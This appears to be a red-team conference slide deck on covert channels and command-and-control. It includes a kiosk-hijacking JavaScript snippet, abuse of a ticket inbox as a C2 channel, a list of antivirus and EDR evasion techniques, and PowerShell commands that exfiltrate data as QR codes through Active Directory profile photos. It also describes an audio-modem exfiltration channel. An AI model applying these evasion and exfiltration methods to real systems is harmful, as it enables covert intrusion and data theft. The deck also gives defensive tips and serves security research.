Covert Channels & Command and Control Innovation

A tale of keeping the show running when being the foe is hard

Photo by Lukas Pobuda
$ whois xenomuta

Rilke Petrosky <petrosky@f2tc.com>

- Red Team Leader / Security Researcher - F2TC Cyber Security
- Over a decade engaged in:
  - Penetration Testing and Red Teaming
  - Malware analysis and Reverse Engineering
  - Custom shellcode, tools and exploit development
  - Software Development
  - System Administration
  - Computer vision and image processing algorithms design
  - Telephony / VoIP

@xenomuta

$ searchsploit -j xenomuta
Agenda

- Diving into the enemy’s (innovative) mindset
- Once upon a Pen-Test
- Covert Channel & C2 Innovation
- PoC Demo
- Future
Diving into the enemy's (innovative) mindset

Being the enemy:

- Innovation is not optional
- Unbiased and naive approach to goals
- Goal-driven (think “Impact” tactics)
- Unconstrained & out-of-the-box mindset
- Advanced ≠ Hi-Tec or Novel
Once upon a Pen Test...

... there was a Kiosk with a printer ...

THAT WAS CUTE

NICE TRY THO

memegenerator.net
Once upon a Pen Test...

How fast can you type this?

```javascript
const d = document, l = localStorage, r = d.createElement('iframe'), R = () => r.contentDocument; r.sandbox = 'allow-same-origin allow-modals allow-scripts allow-popups allow-forms'; r.style = 'position:absolute;left:0;top:0;overflow-x:none;width:' + (innerWidth - 15) + 'px;height:3000px;border:none;'; setInterval(() => {try{if(!R().body.onbeforeunload) R().body.onbeforeunload = () => l._ = l._ || '';} catch (e) {}}, 500); d.body.appendChild(r); r.src = top.location
```
Once upon a Pen Test...

How do you exfiltrate this data?
Once upon a Pen Test...

Well, that's not eco-friendly...
Can we do better?
Once upon a Pen Test...

Can we do better?

- Webapp has an inbox-like ticket feature
- Tickets with empty/bogus recipient not sent but stay in “Sent Messages”

C2 and Implant

- Base64 encoded artifact is stored here from outside world
- Manually decoded and executed on Kiosk

- Our C2 abuses this as beaconing channel
- Successfully bypassed all network based controls

Outbound Connection

Covert Channel
Covert Channels & C2 Innovation

- Endpoint solutions where very reactive to file operations
- Brainstorming on options for file-less ops and evasion:
  - Scripting languages
  - In-memory .NET assemblies (lots of opportunities here)
  - Process execution / DLL injections options (lots of research here as well)
Covert Channels & C2 Innovation

Our special WSH stager technique features:

• Easy obfuscation and signature based evasion with encoded scripts
• Off-the-shelf and inherent features with ActiveX & COM objects
  (Signed by Microsoft, File System, WMI, MS Office interaction, proxy awareness, etc.)
• Bypasses AppLocker, and other common control policies
• Evades Windows Defender and other AV
• Multiple process execution options:
  • Stage dynamic JScript modules with `eval()`
  • Run file-less .NET assemblies from Jscript with DotNetToJScript*
  • DLL / Shellcode injections

* Source: [https://github.com/tyranid/DotNetToJScript](https://github.com/tyranid/DotNetToJScript) by James Forshaw
AV / EDR evasion options to explore:

- Parent PID spoofing and command line / argument spoofing
- Classical DLL injection with `CreateRemoteThread` and `LoadLibrary`
- Unhooking EDR (comparing in-memory functions with DLL file on disk)
- Thread hijacking or (Suspend, Inject, Resume)
- Process hollowing: (creating process with `CREATE_SUSPENDED` flag and writing payload before resume)
- Shellcodes using direct NT System Calls
- Classical hooking with `SetWindowsHookEx` and user-land IAT hooking
- ROP chaining corrupting process RW memory (stack, heap, etc...)
The QR optical covert channel
Covert Channels & C2 Innovation

• The optical QR covert channel:
  • Great for tactical insider operations
  • Full duplex possible with webcams
  • Potential abuse of webcast and videoconference apps
  • Survives profile pics compression
  • The case of the leaky sandboxes *

* Source: The Adventures of AV and the Leaky Sandbox by Itzik Kotler and Amit Klein, SafeBreach, Black Hat USA 2017
Leaking small files like this **private.key** is easy

```
-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBANYkwAWFXfQtcNF6
cvqnxmrruli643YL3guey1ICW0n5I0GzQMolqww0dvj7TvAAJ6CceSwuzTZZbR5f
aNTNF/8z5ar8gf40YhDrjk9oxr7it6pXw95q0unJplJxyMEzxaKsGHzMVAMXwyU
ngC6RLwqguB3J0nS2r3ciRsaHNFPAgMBAAECgYAOomWrN9Y220/LZFTQJiqeR0oj1
y6f+QejfGfBaovZ+UJHqxmHCBldm+ZyyoZVMkyZ5scIS6U13PxmFXPVDjZ4e5nB
TzhZyxZih1Us5NLoRl3Jw3XZaKzfDZWl+djywm1nOiuAZkrfrVre9Es9I9VqVZe
3IPBV+7KP82C3mu2AQJBApwrG/WHIUDtye/mopaFUGUMTgUAPs9uq5pWca5VdoT
iyBE5VsuoCKi+8tdkVEi5fdhfe9UKqggg66C9B9x9yuY8CQ0DFZyksrCE5m3VV0V0ZS
yz4ONX%M0fFTfm1dRa7/LpegrUw9XkGUCVUt7kkwCAxw5qee11ugOxHmpqRAPj
ogxB4AKAm9yZP18KV6enHpe4B1GzFoooFsdTtqVgghrQNJRzUeMAAkoVniZWy/2xC
SOR1Gme80XC30bZdpwQlihFe/ufZHAkA2jrT02AbVSjdo038qx+8jIccIC3rGubQ4
9Iq3Bzq2PeJb16EhO81VdqphH5CMeFlgWASHZ8Z/bcnk9bkhAABAkEAufVbww67
QcYRZxgj7bdC7jC7omIkKcdIlgqEOx11k+kCm1MLn0tynFetJPmE7W1JgME2
TBLzP8Mj45X0dw==
-----END PRIVATE KEY-----
```
Covert Channels & C2 innovation

Exfiltrating through profile pics survives resizing compression:
Covert Channels & C2 Innovation

Anything that displays AD profile picture in public is an exfiltration channel

```plaintext
# More info

## http://blog.schertz.name/2015/10/high-resolution-photos-in-skype-for-business/

```byte
$photo = ([byte] $((get-content -path "C:\temp\qr.jpg" -encoding byte -readcount 0)))
```

```powershell
set-userphoto -identity "DOMAIN\User" -pictureData $photo -confirm:$false
update-csuserdatabase
update-csaddressbook
```

* Source: [https://blog.schertz.name/2015/10/high-resolution-photos-in-skype-for-business/](https://blog.schertz.name/2015/10/high-resolution-photos-in-skype-for-business/)
Covert Channels & C2 innovation

Thank you, Sandboxes! Can you spot the QR?
Covert Channels & C2 innovation

How about now? (paint all ■ pixels black)
What about bigger files?
Covert Channels & C2 Innovation

Bigger exfiltration and C2 channels possible with webcam

whoami

desktop-l8e49bv\xenomuta
Covert Channels & C2 Innovation

QR Exfiltration
PoC Demo
The “Stridulation” Audio Covert Channel

Covert Channels & C2 innovation

The “Stridulation” audio covert channel:

• QAM modulation/demodulation, based on amodem* project, but currently working on a higher constellation and full-duplex alternative
• Tx / Rx @ 1Kbps using special cross-over jack cable
• Works over VoIP calls with lossless codecs like μLaw / aLaw
• Doesn’t work over mobile PSTN, too much noise and compression 😞
• Sometimes works over the air, given the right acoustic conditions (not good opsec)

amodem by Roman Zeyde - https://github.com/romanz/amodem
QAM modulation combines amplitude and phase changes over a carrier signal to map bit symbols.

<table>
<thead>
<tr>
<th>Symbol</th>
<th>Amplitude level / Phase angle</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>Level 1 / 45°</td>
</tr>
<tr>
<td>110</td>
<td>Level 1 / 135°</td>
</tr>
<tr>
<td>010</td>
<td>Level 1 / 225°</td>
</tr>
<tr>
<td>000</td>
<td>Level 1 / 315°</td>
</tr>
<tr>
<td>101</td>
<td>Level 2 / 45°</td>
</tr>
<tr>
<td>111</td>
<td>Level 2 / 135°</td>
</tr>
<tr>
<td>011</td>
<td>Level 2 / 225°</td>
</tr>
<tr>
<td>001</td>
<td>Level 2 / 315°</td>
</tr>
</tbody>
</table>
Covert Channels & C2 Innovation

• The audio cross-over cable will correct impedance of speaker output for microphone input without burning the sound card.

• A burner phone or tablet can be connected and hidden behind the target computer’s audio input.

Special thanks to my bro, Reiner Campillo, for design guidance!
Covert Channels & Command and Control Innovation
Future

- Make it stable and open-source
- Integrate all features in one package
- Research other alternatives:
  - R.F. (GPU, BT, WiFi, ACPI, etc...)
  - Light (Screen brightness, keyboard LEDs, etc..)
  - More sound & noise (Fan speed, seducing Cortana, etc...)
- Hardware filters for higher baud rate and full duplex
Some tips for the Reds

• Think **Impact** first
• Research on new stuff and think outside the (known TTPs) box
• Follow the giants and stand on their shoulders
• If you control some input / output’s timing or value, then you have a channel
• Think **blue** to get the **red** stuff done
Some tips for the Blues

• Block the **What** and not just the **How**
• Use other’s misfortunes as lessons
• Don’t take stuff for granted and go beyond vendor’s recommendations
• **Prevention** without **Detection** is dead
• Think **red** to get the **blue** stuff done